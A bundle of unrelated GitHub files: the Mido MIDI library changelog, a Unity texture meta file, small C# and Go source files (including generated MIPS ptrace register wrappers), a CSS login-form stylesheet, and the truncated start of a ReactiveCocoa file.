This was caused by a very old bug introduced in 1.0.3. IOPort
mistakenly called the inner method ``self.input._receive()`` instead
of ``self.input.receive()``. This happens to work for ports that
override ``_receive()`` but not for the new RtMidi backend which
overrides ``receive()``. (The default implementation of
``_receive()`` just drops the message on the floor.)
* bugfix: PortMidi backend was broken due to missing import
(``ctypes.byref``). (Introduced in 1.2.0.)
1.2.0 (2017-03-07)
^^^^^^^^^^^^^^^^^^^
New implementation of messages and parser:
* completely reimplemented messages. The code is now much simpler,
clearer and easier to work with.
* new contructors ``Message.from_bytes()``, ``Message.from_hex()``,
``Message.from_str()``.
* new message attributes ``is_meta`` and ``is_realtime``.
Frozen (immutable) messages:
* added ``FrozenMessage`` and ``FrozenMetaMessage``. These are
immutable versions of ``Message`` and ``MetaMessage`` that are
hashable and thus can be used as dictionary keys. These are
available in ``mido.frozen``. (Requested by Jasper Lyons, issue
#36.)
RtMidi is now the default backend:
* switched default backend from PortMidi to RtMidi. RtMidi is easier
to install on most systems and better in every way.
If you want to stick to PortMidi you can either set the environment
variable ``$MIDO_BACKEND=mido.backends.portmidi`` or call
``mido.set_backend('mido.backends.portmidi')`` in your program.
* refactored the RtMidi backend to have a single ``Port`` class
instead of inheriting from base ports. It was getting hard to keep
track of it all. The code is now a lot easier to reason about.
* you can now pass ``client_name`` when opening RtMidi ports:
``open_output('Test', client_name='My Client')``. When
``client_name`` is passed the port will automatically be a virtual
port.
* with ``LINUX_ALSA`` you can now omit client name and ALSA
client/port number when opening ports, allowing you to do
``mido.open_output('TiMidity port 0')`` instead of
``mido.open_output('TiMidity:TiMidity port 0 128:0')``. (See RtMidi
backend docs for more.)
Changes to the port API:
* ports now have ``is_input`` and ``is_output`` attributes.
* new functions ``tick2second()`` and ``second2tick()``. (By Carl
Thomé, pull request #71.)
* added ``_locking`` attribute to ``BasePort``. You can set this to
``False`` in a subclass to do your own locking.
* ``_receive()`` is now allowed to return a messages. This makes the
API more consistent and makes it easier to implement thread safe
ports.
* ``pending()`` is gone. This had to be done to allow for the new
``_receive()`` behavior.
* improved MIDI file documentation. (Written by Carl Thomé.)
Other changes:
* bugfix: if a port inherited from both ``BaseInput`` and
``BaseOutput`` this would cause ``BasePort.__init__()`` to be called
twice, which means ``self._open()`` was also called twice. As a
workaround ``BasePort.__init__()`` will check if ``self.closed``
exists.
* added ``mido.version_info``.
* ``mido.set_backend()`` can now be called with ``load=True``.
* added ``multi_send()``.
* ``MIN_PITCHWHEEL``, ``MAX_PITCHWHEEL``, ``MIN_SONGPOS`` and
``MAX_SONGPOS`` are now available in the top level module (for
example ``mido.MIN_PITCHWHEEL``).
* added experimental new backend ``mido.backends.amidi``. This uses
the ALSA ``amidi`` command to send and receive messages, which makes
it very inefficient but possibly useful for sysex transfer.
* added new backend ``mido.backends.rtmidi_python`` (previously
available in the examples folder.) This uses the ``rtmidi-python``
package instead of ``python-rtmidi``. For now it lacks some of
features of the ``rtmidi`` backend, but can still be useful on
systems where ``python-rtmidi`` is not available. (Requested by
netchose, issue #55.)
1.1.24 (2017-02-16)
^^^^^^^^^^^^^^^^^^^
* bugfix: PortMidi backend was broken on macOS due to a typo. (Fix by
Sylvain Le Groux, pull request #81.)
1.1.23 (2017-01-31)
^^^^^^^^^^^^^^^^^^^
* bugfix: ``read_syx_file()`` didn't handle '\n' in text format file
causing it to crash. (Reported by Paul Forgey, issue #80.)
1.1.22 (2017-01-27)
^^^^^^^^^^^^^^^^^^^
* the bugfix in 1.1.20 broke blocking receive() for RtMidi. Reverting
the changes. This will need some more investigation.
1.1.21 (2017-01-26)
^^^^^^^^^^^^^^^^^^^
* bugfix: MidiFile save was broken in 1.1.20 due to a missing import.
1.1.20 (2017-01-26)
^^^^^^^^^^^^^^^^^^^
* bugfix: close() would sometimes hang for RtMidi input ports. (The
bug was introduced in 1.1.18 when the backend was rewritten to
support true blocking.)
* Numpy numbers can now be used for all message attributes. (Based on
implementation by Henry Mao, pull request #78.)
The code checks against numbers.Integral and numbers.Real (for the
time attribute) so values can be any subclass of these.
1.1.19 (2017-01-25)
^^^^^^^^^^^^^^^^^^^
* Pygame backend can now receive sysex messages. (Fix by Box of Stops.)
* bugfix: ``libportmidi.dylib`` was not found when using
MacPorts. (Fix by yam655, issue #77.)
* bugfix: ``SocketPort.__init()`` was not calling
``IOPort.__init__()`` which means it didn't get a
``self._lock``. (Fixed by K Lars Lohn, pull request #72. Also
reported by John J. Foerch, issue #79.)
* fixed typo in intro example (README and index.rst). Fix by Antonio
Ospite (pull request #70), James McDermott (pull request #73) and
Zdravko Bozakov (pull request #74).
* fixed typo in virtual ports example (Zdravko Bozakov, pull request #75.)
1.1.18 (2016-10-22)
^^^^^^^^^^^^^^^^^^^
* ``time`` is included in message comparison. ``msg1 == msg2`` will
now give the same result as ``str(msg1) == str(msg2)`` and
``repr(msg1)`` == ``repr(msg2)``.
This means you can now compare tracks wihout any trickery, for
example: ``mid1.tracks == mid2.tracks``.
If you need to leave out time the easiest was is ``msg1.bytes() ==
msg2.bytes()``.
This may in rare cases break code.
* bugfix: ``end_of_track`` messages in MIDI files were not handled correctly.
(Reported by Colin Raffel, issue #62).
* bugfix: ``merge_tracks()`` dropped messages after the first
``end_of_track`` message. The new implementation removes all
``end_of_track`` messages and adds one at the end, making sure to
adjust the delta times of the remaining messages.
* refactored MIDI file code.
* ``mido-play`` now has a new option ``-m / --print-messages`` which
prints messages as they are played back.
* renamed ``parser._parsed_messages`` to
``parser.messages``. ``BaseInput`` and ``SocketPort`` use it so it
should be public.
* ``Parser()`` now takes an option argument ``data`` which is passed
to ``feed()``.
1.1.17 (2016-10-06)
^^^^^^^^^^^^^^^^^^^
* RtMidi now supports true blocking ``receive()`` in Python 3. This
should result in better performance and lower latency. (Thanks to
Adam Roberts for helping research queue behavior. See issue #49 for
more.)
* bugfix: ``MidiTrack.copy()`` (Python 3 only) returned ``list``.
* fixed example ``queue_port.py`` which broke when locks where added.
1.1.16 (2016-09-27)
^^^^^^^^^^^^^^^^^^^
* bugfix: ``MidiTrack`` crashed instead of returning a message on
``track[index]``. Fix by Colin Raffel (pull request #61).
* added ``__add__()`` and ``__mul__()`` to ``MidiTrack`` so ``+`` and
``*`` will return tracks instead of lists.
* added ``poll()`` method to input ports as a shortcut for
``receive(block=False)``.
* added example ``rtmidi_python_backend.py``, a backend for the
rtmidi-python package (which is different from the python-rtmidi
backend that Mido currently uses.) This may at some point be added
to the package but for now it's in the examples folder. (Requested
by netchose, issue #55.)
* removed custom ``_import_module()``. Its only function was to make
import errors more informative by showing the full module path, such
as ``ImportError: mido.backends.rtmidi`` instead of just ``ImportError:
rtmidi``. Unfortunately it ended up masking import errors in the
backend module, causing confusion.
It turns ``importlib.import_module()`` can be called with the full
path, and on Python 3 it will also display the full path in the
``ImportError`` message.
1.1.15 (2016-08-24)
^^^^^^^^^^^^^^^^^^^
* Sending and receiving messages is now thread safe. (Initial
implementation by Adam Roberts.)
* Bugfix: ``PortServer`` called ``__init__`` from the wrong
class. (Fix by Nathan Hurst.)
* Changes to ``MidiTrack``:
* ``MidiTrack()`` now takes a as a parameter an iterable of
messages. Examples:
.. code-block:: python
MidiTrack(messages)
MidiTrack(port.iter_pending())
MidiTrack(msg for msg in some_generator)
* Slicing a ``MidiTrack`` returns a ``MidiTrack``. (It used to
return a ``list``.) Example:
.. code-block:: python
track[1:10]
* Added the ability to use file objects as well as filenames when reading,
writing and saving MIDI files. This allows you to create a MIDI file
dynamically, possibly *not* using mido, save it to an io.BytesIO, and
then play that in-memory file, without having to create an intermediate
external file. Of course the memory file (and/or the MidiFile) can still
be saved to an external file.
(Implemented by Brian O'Neill.)
* PortMidi backend now uses pm.lib.Pm_GetHostErrorText() to get host
error messages instead of just the generic "PortMidi: \`Host error\'".
(Implemented by Tom Manderson.)
Thanks to Richard Vogl and Tim Cook for reporting errors in the docs.
1.1.14 (2015-06-09)
^^^^^^^^^^^^^^^^^^^
* bugfix: merge_tracks() concatenated the tracks instead of merging
them. This caused tracks to be played back one by one. (Issue #28,
reported by Charles Gillingham.)
* added support for running status when writing MIDI files.
(Implemented by John Benediktsson.)
* rewrote the callback system in response to issues #23 and #25.
* there was no way to set a callback function if the port was opened
without one. (Issue#25, reported by Nils Werner.)
Callbacks can now be set and cleared at any time by either passing
one to ``open_input()`` or updating the ``callback`` attribute.
This causes some slight changes to the behavior of the port when
using callbacks. Previously if you opened the port with a callback
and then set ``port.callback = None`` the callback thread would keep
running but drop any incoming messages. If you do the same now the
callback thread will stop and the port will return normal
non-callback behavior. If you want the callback thread to drop
messages you can set ``port.callback = lambda message: None``.
Also, ``receive()`` no longer checks ``self.callback``. This was
inconsistent as it was the only method to do so. It also allows
ports that don't support callbacks to omit the ``callback``
attribute.
* bugfix: closing a port would sometimes cause a segfault when using
callbacks. (Issue #24, reported by Francesco Ceruti.)
* bugfix: Pygame ports were broken due to a faulty check for ``virtual=True``.
* now raises ``ValueError`` instead of ``IOError`` if you pass
``virtual`` or ``callback`` while opening a port and the backend
doesn't support them. (An unsupported argument is not an IO error.)
* fixed some errors in backend documentation. (Pull request #23 by
velolala.)
* ``MultiPort`` now has a ``yield_port`` argument just like
``multi_receive()``.
1.1.13 (2015-02-07)
^^^^^^^^^^^^^^^^^^^
* the PortMidi backend will now return refresh the port list when you
ask for port names are open a new port, which means you will see
devices that you plug in after loading the backend. (Due to
limitations in PortMidi the list will only be refreshed if there are
no open ports.)
* bugfix: ``tempo2bpm()`` was broken and returned the wrong value for
anything but 500000 microseconds per beat (120 BPM). (Reported and
fixed by Jorge Herrera, issue #21)
* bugfix: ``merge_tracks()`` didn't work with empty list of tracks.
* added proper keyword arguments and doc strings to open functions.
1.1.12 (2014-12-02)
^^^^^^^^^^^^^^^^^^^
* raises IOError if you try to open a virtual port with PortMidi or
Pygame. (They are not supported by these backends.)
* added ``merge_tracks()``.
* removed undocumented method ``MidiFile.get_messages()``.
(Replaced by ``merge_tracks(mid.tracks)``.)
* bugfix: ``receive()`` checked ``self.callback`` which didn't exist
for all ports, causing an ``AttributeError``.
1.1.11 (2014-10-15)
^^^^^^^^^^^^^^^^^^^
* added ``bpm2tempo()`` and ``tempo2bpm()``.
* fixed error in documentation (patch by Michael Silver).
* added notes about channel numbers to documentation (reported by
ludwig404 / leonh, issue #18).
1.1.10 (2014-10-09)
^^^^^^^^^^^^^^^^^^^
* bugfix: MidiFile.length was computer incorrectly.
* bugfix: tempo changes caused timing problems in MIDI file playback.
(Reported by Michelle Thompson.)
* mido-ports now prints port names in single ticks.
* MidiFile.__iter__() now yields end_of_track. This means playback
will end there instead of at the preceding message.
1.1.9 (2014-10-06)
^^^^^^^^^^^^^^^^^^
* bugfix: _compute_tick_time() was not renamed to
_compute_seconds_per_tick() everywhere.
* bugfix: sleep time in play() was sometimes negative.
1.1.8 (2014-09-29)
^^^^^^^^^^^^^^^^^^
* bugfix: timing in MIDI playback was broken from 1.1.7 on. Current
time was subtracted before time stamps were converted from ticks to
seconds, leading to absurdly large delta times. (Reported by Michelle
Thompson.)
* bugfix: ``read_syx_file()`` didn't handle empty file.
1.1.7 (2014-08-12)
^^^^^^^^^^^^^^^^^^
* some classes and functions have been moved to more accessible locations::
from mido import MidiFile, MidiTrack, MetaMessage
from mido.midifiles import MetaSpec, add_meta_spec
* you can now iterate over a MIDI file. This will generate all MIDI
messages in playback order. The ``time`` attribute of each message
is the number of seconds since the last message or the start of the
file. (Based on suggestion by trushkin in issue #16.)
* added get_sleep_time() to complement set_sleep_time().
* the Backend object no longer looks for the backend module exists on
startup, but will instead just import the module when you call one
of the ``open_*()`` or ``get_*()`` functions. This test didn't work
when the library was packaged in a zip file or executable.
This means that Mido can now be installed as Python egg and frozen
with tools like PyInstaller and py2exe. See "Freezing Mido Programs"
for more on this.
(Issue #17 reported by edauenhauer and issue #14 reported by
netchose.)
* switched to pytest for unit tests.
1.1.6 (2014-06-21)
^^^^^^^^^^^^^^^^^^
* bugfix: package didn't work with easy_install.
(Issue #14, reported by netchose.)
* bugfix: 100% memory consumption when calling blocking receive()
on a PortMidi input. (Issue #15, reported by Francesco Ceruti.)
* added wheel support: http://pythonwheels.com/
1.1.5 (2014-04-18)
^^^^^^^^^^^^^^^^^^
* removed the 'mode' attribute from key_signature messages. Minor keys
now have an 'm' appended, for example 'Cm'.
* bugfix: sysex was broken in MIDI files.
* bugfix: didn't handle MIDI files without track headers.
* bugfix: MIDI files didn't handle channel prefix > 15
* bugfix: MIDI files didn't handle SMPTE offset with frames > 29
1.1.4 (2014-10-04)
^^^^^^^^^^^^^^^^^^
* bugfix: files with key signatures Cb, Db and Gb failed due to faulty
error handling.
* bugfix: when reading some MIDI files Mido crashed with the message
"ValueError: attribute must be in range 0..255". The reason was that
Meta messages set running status, which caused the next statusless
message to be falsely interpreted as a meta message. (Reported by
Domino Marama).
* fixed a typo in MidiFile._read_track(). Sysex continuation should
work now.
* rewrote tests to make them more readable.
1.1.3 (2013-10-14)
^^^^^^^^^^^^^^^^^^
* messages are now copied on send. This allows the sender to modify the
message and send it to another port while the two ports receive their
own personal copies that they can modify without any side effects.
1.1.2 (2013-10-05)
^^^^^^^^^^^^^^^^^^
* bugfix: non-ASCII character caused trouble with installation when LC_ALL=C.
(Reported by Gene De Lisa)
* bugfix: used old exception handling syntax in rtmidi backend which
broke in 3.3
* fixed broken link in
1.1.1 (2013-10-04)
^^^^^^^^^^^^^^^^^^
* bugfix: mido.backends package was not included in distribution.
1.1.0 (2013-10-01)
^^^^^^^^^^^^^^^^^^
* added support for selectable backends (with MIDO_BACKEND) and
included python-rtmidi and pygame backends in the official library
(as mido.backend.rtmidi and mido.backend.pygame).
* added full support for MIDI files (read, write playback)
* added MIDI over TCP/IP (socket ports)
* added utility programs mido-play, mido-ports, mido-serve and mido-forward.
* added support for SMPTE time code quarter frames.
* port constructors and ``open_*()`` functions can now take keyword
arguments.
* output ports now have reset() and panic() methods.
* new environment variables MIDO_DEFAULT_INPUT, MIDO_DEFAULT_OUTPUT
and MIDO_DEFAULT_IOPORT. If these are set, the open_*() functions
will use them instead of the backend's default ports.
* added new meta ports MultiPort and EchoPort.
* added new examples and updated the old ones.
* format_as_string() now takes an include_time argument (defaults to True)
so you can leave out the time attribute.
* sleep time inside sockets can now be changed.
* Message() no longer accepts a status byte as its first argument. (This was
only meant to be used internally.)
* added callbacks for input ports (PortMidi and python-rtmidi)
* PortMidi and pygame input ports now actually block on the device
instead of polling and waiting.
* removed commas from repr() format of Message and MetaMessage to make
them more consistent with other classes.
1.0.4 (2013-08-15)
^^^^^^^^^^^^^^^^^^
* rewrote parser
1.0.3 (2013-07-12)
^^^^^^^^^^^^^^^^^^
* bugfix: __exit__() didn't close port.
* changed repr format of message to start with "message".
* removed support for undefined messages. (0xf4, 0xf5, 0xf7, 0xf9 and 0xfd.)
* default value of velocity is now 64 (0x40).
(This is the recommended default for devices that don't support velocity.)
1.0.2 (2013-07-31)
^^^^^^^^^^^^^^^^^^
* fixed some errors in the documentation.
1.0.1 (2013-07-31)
^^^^^^^^^^^^^^^^^^
* multi_receive() and multi_iter_pending() had wrong implementation.
They were supposed to yield only messages by default.
1.0.0 (2013-07-20)
^^^^^^^^^^^^^^^^^^
Initial release.
Basic functionality: messages, ports and parser.
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: 222d3ab738ddda64284a4e37b238bce9
TextureImporter:
internalIDToNameTable: []
externalObjects: {}
serializedVersion: 10
mipmaps:
mipMapMode: 0
enableMipMap: 0
sRGBTexture: 1
linearTexture: 0
fadeOut: 0
borderMipMap: 0
mipMapsPreserveCoverage: 0
alphaTestReferenceValue: 0.5
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
streamingMipmaps: 0
streamingMipmapsPriority: 0
grayScaleToAlpha: 0
generateCubemap: 6
cubemapConvolution: 0
seamlessCubemap: 0
textureFormat: 1
maxTextureSize: 2048
textureSettings:
serializedVersion: 2
filterMode: -1
aniso: -1
mipBias: -100
wrapU: 1
wrapV: 1
wrapW: 1
nPOTScale: 0
lightmap: 0
compressionQuality: 50
spriteMode: 1
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spritePixelsToUnits: 100
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spriteGenerateFallbackPhysicsShape: 1
alphaUsage: 1
alphaIsTransparency: 1
spriteTessellationDetail: -1
textureType: 8
textureShape: 1
singleChannelComponent: 0
maxTextureSizeSet: 0
compressionQualitySet: 0
textureFormatSet: 0
platformSettings:
- serializedVersion: 3
buildTarget: DefaultTexturePlatform
maxTextureSize: 2048
resizeAlgorithm: 0
textureFormat: -1
textureCompression: 1
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
androidETC2FallbackOverride: 0
forceMaximumCompressionQuality_BC6H_BC7: 0
spriteSheet:
serializedVersion: 2
sprites: []
outline: []
physicsShape: []
bones: []
spriteID: 5e97eb03825dee720800000000000000
internalID: 0
vertices: []
indices:
edges: []
weights: []
secondaryTextures: []
spritePackingTag:
pSDRemoveMatte: 0
pSDShowRemoveMatteOption: 0
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
// ==========================================================================
// Squidex Headless CMS
// ==========================================================================
// Copyright (c) Squidex UG (haftungsbeschraenkt)
// All rights reserved. Licensed under the MIT license.
// ==========================================================================
using System.Collections.Generic;
namespace Squidex.Infrastructure.Migrations
{
public interface IMigrationPath
{
(int Version, IEnumerable<IMigration>? Migrations) GetNext(int version);
}
}
|
{
"pile_set_name": "Github"
}
|
// Code generated by linux/mkall.go generatePtracePair(mipsle, mips64le). DO NOT EDIT.
// +build linux
// +build mipsle mips64le
package unix
import "unsafe"
// PtraceRegsMipsle is the registers used by mipsle binaries.
type PtraceRegsMipsle struct {
Regs [32]uint64
Lo uint64
Hi uint64
Epc uint64
Badvaddr uint64
Status uint64
Cause uint64
}
// PtraceGetRegsMipsle fetches the registers used by mipsle binaries.
func PtraceGetRegsMipsle(pid int, regsout *PtraceRegsMipsle) error {
return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
}
// PtraceSetRegsMipsle sets the registers used by mipsle binaries.
func PtraceSetRegsMipsle(pid int, regs *PtraceRegsMipsle) error {
return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
}
// PtraceRegsMips64le is the registers used by mips64le binaries.
type PtraceRegsMips64le struct {
Regs [32]uint64
Lo uint64
Hi uint64
Epc uint64
Badvaddr uint64
Status uint64
Cause uint64
}
// PtraceGetRegsMips64le fetches the registers used by mips64le binaries.
func PtraceGetRegsMips64le(pid int, regsout *PtraceRegsMips64le) error {
return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
}
// PtraceSetRegsMips64le sets the registers used by mips64le binaries.
func PtraceSetRegsMips64le(pid int, regs *PtraceRegsMips64le) error {
return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
using Microsoft.Bot.Builder;
namespace Microsoft.Bot.Builder.AI.LuisV3.Tests
{
public class TelemetryConvertResult : IRecognizerConvert
{
public TelemetryConvertResult()
{
}
public void Convert(dynamic @dynamic)
{
}
}
}
|
{
"pile_set_name": "Github"
}
|
@charset "utf-8";
/* Reset CSS */
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
margin: 0;
padding: 0;
border: 0;
outline: 0;
font-size: 100%;
vertical-align: baseline;
background: transparent;
}
body {
background: #DCDDDF ;
color: #000;
font: 14px Arial;
margin: 0 auto;
padding: 0;
position: relative;
}
h1{ font-size:28px;}
h2{ font-size:26px;}
h3{ font-size:18px;}
h4{ font-size:16px;}
h5{ font-size:14px;}
h6{ font-size:12px;}
h1,h2,h3,h4,h5,h6{ color:#563D64;}
small{ font-size:10px;}
b, strong{ font-weight:bold;}
a{ text-decoration: none; }
a:hover{ text-decoration: underline; }
.clearfix:after,form:after {
content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;
}
.container { margin:75px auto 0 auto; position: relative; width: 900px; }
#content {
background: #f9f9f9;
background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(249,249,249,1) 100%);
background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8f8f8', endColorstr='#f9f9f9',GradientType=0 ); */
-webkit-box-shadow: 0 1px 0 #fff inset;
-moz-box-shadow: 0 1px 0 #fff inset;
-ms-box-shadow: 0 1px 0 #fff inset;
-o-box-shadow: 0 1px 0 #fff inset;
box-shadow: 0 1px 0 #fff inset;
border: 1px solid #c4c6ca;
margin: 0 auto;
padding: 25px 0 0;
position: relative;
text-align: center;
text-shadow: 0 1px 0 #fff;
width: 400px;
}
#content h1 {
color: #7E7E7E;
font: bold 25px Helvetica, Arial, sans-serif;
letter-spacing: -0.05em;
line-height: 20px;
margin: 10px 0 30px;
}
#content h1:before,
#content h1:after {
content: "";
height: 1px;
position: absolute;
top: 10px;
width: 27%;
}
#content h1:after {
background: rgb(126,126,126);
background: -moz-linear-gradient(left, rgba(126,126,126,1) 0%, rgba(255,255,255,1) 100%);
background: -webkit-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -o-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -ms-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
right: 0;
}
#content h1:before {
background: rgb(126,126,126);
background: -moz-linear-gradient(right, rgba(126,126,126,1) 0%, rgba(255,255,255,1) 100%);
background: -webkit-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -o-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -ms-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
left: 0;
}
#content:after,
#content:before {
background: #f9f9f9;
background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(249,249,249,1) 100%);
background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8f8f8', endColorstr='#f9f9f9',GradientType=0 ); */
border: 1px solid #c4c6ca;
content: "";
display: block;
height: 100%;
left: -1px;
position: absolute;
width: 100%;
}
#content:after {
-webkit-transform: rotate(2deg);
-moz-transform: rotate(2deg);
-ms-transform: rotate(2deg);
-o-transform: rotate(2deg);
transform: rotate(2deg);
top: 0;
z-index: -1;
}
#content:before {
-webkit-transform: rotate(-3deg);
-moz-transform: rotate(-3deg);
-ms-transform: rotate(-3deg);
-o-transform: rotate(-3deg);
transform: rotate(-3deg);
top: 0;
z-index: -2;
}
#content form { margin: 0 20px; position: relative }
#content form input[type="text"],
#content form input[type="password"] {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
-ms-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
-webkit-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-moz-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-ms-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-o-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-webkit-transition: all 0.5s ease;
-moz-transition: all 0.5s ease;
-ms-transition: all 0.5s ease;
-o-transition: all 0.5s ease;
transition: all 0.5s ease;
background: #eae7e7 url(../images/8bcLQqF.png) no-repeat;
border: 1px solid #c8c8c8;
color: #777;
font: 13px Helvetica, Arial, sans-serif;
margin: 0 0 10px;
padding: 15px 10px 15px 40px;
width: 80%;
}
#content form input[type="text"]:focus,
#content form input[type="password"]:focus {
-webkit-box-shadow: 0 0 2px #ed1c24 inset;
-moz-box-shadow: 0 0 2px #ed1c24 inset;
-ms-box-shadow: 0 0 2px #ed1c24 inset;
-o-box-shadow: 0 0 2px #ed1c24 inset;
box-shadow: 0 0 2px #ed1c24 inset;
background-color: #fff;
border: 1px solid #ed1c24;
outline: none;
}
#username { background-position: 10px 10px !important }
#password { background-position: 10px -53px !important }
#content form input[type="submit"] {
background: rgb(254,231,154);
background: -moz-linear-gradient(top, rgba(254,231,154,1) 0%, rgba(254,193,81,1) 100%);
background: -webkit-linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
background: -o-linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
background: -ms-linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
background: linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fee79a', endColorstr='#fec151',GradientType=0 ); */
-webkit-border-radius: 30px;
-moz-border-radius: 30px;
-ms-border-radius: 30px;
-o-border-radius: 30px;
border-radius: 30px;
-webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
-moz-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
-ms-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
-o-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
border: 1px solid #D69E31;
color: #85592e;
cursor: pointer;
float: left;
font: bold 15px Helvetica, Arial, sans-serif;
height: 35px;
margin: 20px 0 35px 15px;
position: relative;
text-shadow: 0 1px 0 rgba(255,255,255,0.5);
width: 120px;
}
#content form input[type="submit"]:hover {
background: rgb(254,193,81);
background: -moz-linear-gradient(top, rgba(254,193,81,1) 0%, rgba(254,231,154,1) 100%);
background: -webkit-linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
background: -o-linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
background: -ms-linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
background: linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fec151', endColorstr='#fee79a',GradientType=0 ); */
}
#content form div a {
color: #004a80;
float: right;
font-size: 12px;
margin: 30px 15px 0 0;
text-decoration: underline;
}
.button {
background: rgb(247,249,250);
background: -moz-linear-gradient(top, rgba(247,249,250,1) 0%, rgba(240,240,240,1) 100%);
background: -webkit-linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
background: -o-linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
background: -ms-linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
background: linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f7f9fa', endColorstr='#f0f0f0',GradientType=0 ); */
-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-ms-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-o-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-webkit-border-radius: 0 0 5px 5px;
-moz-border-radius: 0 0 5px 5px;
-o-border-radius: 0 0 5px 5px;
-ms-border-radius: 0 0 5px 5px;
border-radius: 0 0 5px 5px;
border-top: 1px solid #CFD5D9;
padding: 15px 0;
}
.button a {
background: url(../images/8bcLQqF.png) 0 -112px no-repeat;
color: #7E7E7E;
font-size: 17px;
padding: 2px 0 2px 40px;
text-decoration: none;
-webkit-transition: all 0.3s ease;
-moz-transition: all 0.3s ease;
-ms-transition: all 0.3s ease;
-o-transition: all 0.3s ease;
transition: all 0.3s ease;
}
.button a:hover {
background-position: 0 -135px;
color: #00aeef;
}
|
{
"pile_set_name": "Github"
}
|
//
// RACSerialDisposable.m
// ReactiveCocoa
//
// Created by Justin Spahr-Summers on 2013-07-22.
// Copyright (c) 2013 GitHub, Inc. All rights reserved.
//
#import "RACSerialDisposable.h"
#import <libkern/OSAtomic.h>
@interface RACSerialDisposable () {
